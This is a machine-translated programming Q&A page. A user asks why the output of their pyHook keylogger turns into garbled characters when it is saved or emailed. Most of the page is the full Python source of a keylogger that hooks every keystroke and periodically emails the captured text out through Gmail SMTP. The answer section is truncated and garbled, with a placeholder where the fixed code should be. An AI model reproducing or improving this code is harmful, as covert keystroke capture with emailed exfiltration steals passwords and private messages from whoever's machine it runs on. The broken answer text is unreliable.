我在玩pyHook库,我决定看看是否可以做一个键记录器。在
问题是,当我试图将文本保存到一个文件中或通过电子邮件发送给自己时,有一半的时间会转换成这样的内容
我洠獥?杺杺浹獥汦渠敭慩氠癩愠步
当我打印文本时,它看起来很好。但我在将文本保存到文本文件中以及通过电子邮件发送给自己时都遇到过这种情况。在
import pyHook
import pythoncom
from re import sub
#Module for emailing out captured text
from Emailer import MakeEmail
#Global variable that will hold the captured text in-between emails
captured = ''
SMTP_server = 'smtp.gmail.com'
username = 'MyAltAccount@gmail.com'
passwd = 'password'
destination = "myAccount@gmail.com"
email = MakeEmail(SMTP_server, destination, username, passwd, "Key Logger output", "")
def onKeyboardEvent(event):
global captured
if event.Ascii == 5 or not isinstance(event.Ascii, int):
_exit(1)
if event.Ascii != 0 or 8:
captured += unichr(event.Ascii)
if len(captured) > 30:
print captured
email.content = sub("\ \ *", " ", captured)
email.send_email()
captured= ''
hm = pyHook.HookManager()
hm.KeyDown = onKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
我弄不清这只虫子的头尾。在
就像@iCodez评论的那样,第23行应该写为:
以下是
^{pr2}$on_keyboard_event
函数的固定版本:相关问题 更多 >
编程相关推荐